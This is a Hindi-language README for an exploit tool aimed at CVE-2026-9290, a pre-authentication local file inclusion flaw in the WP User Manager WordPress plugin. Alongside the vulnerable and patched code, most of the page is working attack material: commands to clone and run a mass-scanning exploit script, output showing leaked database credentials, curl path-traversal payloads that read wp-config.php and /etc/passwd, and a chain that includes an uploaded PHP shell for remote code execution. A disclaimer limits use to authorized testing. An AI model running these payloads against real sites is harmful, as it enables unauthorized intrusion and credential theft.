
WP User Manager <= 2.9.17 में tab पैरामीटर में path traversal के माध्यम से Pre-auth Local File Inclusion (CVSS 7.5)
CVE-2026-9290 WP User Manager – User Profile Builder & Membership WordPress प्लगइन (≤ 2.9.17) में उच्च-गंभीरता (CVSS 7.5) वाली बिना प्रमाणीकरण वाली Local File Inclusion भेद्यता है।
wpum_get_active_profile_tab() फ़ंक्शन tab क्वेरी पैरामीटर को बिना व्हाइटलिस्ट सत्यापन के सीधे Gamajo टेम्पलेट लोडर को पास करता है। मान में path traversal सीक्वेंस बिना प्रमाणीकरण वाले हमलावरों को PHP के include() के माध्यम से सर्वर से मनमानी फ़ाइलें शामिल करने की अनुमति देते हैं।
tab| WP User Manager संस्करण | स्थिति |
|---|---|
| ≤ 2.9.17 | असुरक्षित |
| ≥ 2.9.18 | पैच किया गया |
includes/functions.php में, wpum_get_active_profile_tab() फ़ंक्शन बिना व्हाइटलिस्ट सत्यापन के tab क्वेरी पैरामीटर लेता है:
// Vulnerable: no whitelist check on $tab value
$tab = isset($_GET['tab']) ? sanitize_text_field($_GET['tab']) : 'profile';
wpum_get_active_profile_tab($tab);
यह मान Gamajo_Template_Loader::get_template_part() को भेजा जाता है, जो टेम्पलेट फ़ाइल को रिज़ॉल्व करके शामिल करता है:
// class-gamajo-template-loader.php line 226
include($template_path . $tab . '.php');
sanitize_text_field() path traversal सीक्वेंस को नहीं हटाता है। ../../../wp-config वैसे ही पास हो जाता है।
GET /profile/?tab=../../../wp-config
→ wpum_get_active_profile_tab('../../../wp-config')
→ Gamajo_Template_Loader::include('../../../wp-config.php')
→ wp-config.php included → DB credentials exposed
| फ़ाइल | पंक्ति | भूमिका |
|---|---|---|
includes/functions.php | #L955 | wpum_get_active_profile_tab() — कोई व्हाइटलिस्ट नहीं |
templates/profile.php | #L52 | प्रोफ़ाइल टेम्पलेट स्कोप |
class-gamajo-template-loader.php | #L226 | बिना सैनिटाइज़ किया गया include() |
PR #445 व्हाइटलिस्ट सत्यापन जोड़ता है:
// Patched: check against registered tabs
if (!array_key_exists($tab, $registered_tabs)) {
$tab = 'profile'; // fallback to default
}
git clone https://github.com/shinthink/CVE-2026-9290.git
cd CVE-2026-9290
pip install -r requirements.txt
# Single target — LFI probe
python cve_2026_9290.py -t target.com
# Mass scan
python cve_2026_9290.py -f targets.txt -v
# Read specific file via LFI
python cve_2026_9290.py -t target.com --read "../../../wp-config.php"
# Save results
python cve_2026_9290.py -f targets.txt -o lfi.txt
-t, --target Single target (domain or IP)
-f, --file Target list, one per line
--read PATH Read a specific file via LFI
-o, --output Save results to file
--threads Workers (default: 25)
-v, --verbose Show detailed output
$ python cve_2026_9290.py -t target.com -v
CVE-2026-9290 — WP User Manager LFI → RCE Exploit
CVSS 7.5 | Pre-Auth | Path Traversal via 'tab' Parameter
[+] WP User Manager detected
[+] Profile page: /profile/
[+] LFI confirmed: wp-config.php (DB credentials)
[+] Content preview: define('DB_NAME', 'wordpress_db'); define('DB_USER', 'admin');
Host : target.com
WPUM : YES
LFI : YES
File : wp-config.php (DB credentials)
Time : 3.2s
[LFI] target-1.com 3.2s wp-config.php (DB credentials)
define('DB_NAME', 'wp_db'); define('DB_USER', 'root');
[LFI] target-2.com 4.1s wp-config.php (DB credentials)
define('DB_NAME', 'site_db'); define('DB_USER', 'admin');
[200/5458] 3% | WPUM:12 LFI:5 | current-target.com
चरण 1 — WP User Manager का पता लगाएँ
curl -sk 'https://target.com/wp-content/plugins/wp-user-manager/readme.txt' | head -3
चरण 2 — प्रोफ़ाइल पेज खोजें
curl -sk 'https://target.com/' | grep -oP 'href="[^"]*(?:profile|account|dashboard)[^"]*"'
चरण 3 — tab पैरामीटर के माध्यम से LFI
# Read wp-config.php
curl -sk 'https://target.com/profile/?tab=../../../wp-config'
# Read /etc/passwd
curl -sk 'https://target.com/profile/?tab=../../../../../../../etc/passwd'
# RCE — include uploaded PHP shell
curl -sk 'https://target.com/profile/?tab=../../../wp-content/uploads/2026/07/shell'
1. LFI → read wp-config.php → get DB credentials
2. Upload PHP shell via another plugin/media endpoint
3. LFI → include uploaded shell → RCE
केवल शैक्षिक और अधिकृत परीक्षण उद्देश्यों के लिए।
यह सॉफ़्टवेयर सुरक्षा पेशेवरों के लिए है जो अधिकृत पेनेट्रेशन परीक्षण करते हैं, उन संगठनों के लिए है जो अपने स्वयं के बुनियादी ढांचे का ऑडिट करते हैं, और उन शोधकर्ताओं के लिए है जो भेद्यता शोषण का अध्ययन करते हैं।
कंप्यूटर सिस्टम तक अनधिकृत पहुंच अवैध है और निम्नलिखित का उल्लंघन कर सकती है:
- संयुक्त राज्य अमेरिका: Computer Fraud and Abuse Act (18 U.S.C. 1030)
- इंडोनेशिया: UU ITE Pasal 30 & 46
- यूरोपीय संघ: Directive 2013/40/EU
- यूनाइटेड किंगडम: Computer Misuse Act 1990
लेखक दुरुपयोग के लिए कोई दायित्व नहीं लेते हैं।
| संसाधन | लिंक |
|---|---|
| GitHub एडवाइज़री | GHSA-83v9-496w-54wx |
| Wordfence एडवाइज़री | wordfence.com |
| पैच PR | GitHub #445 |
| IONIX विश्लेषण | ionix.io |
यह प्रोजेक्ट WP User Manager या Carbon Fields से संबद्ध नहीं है।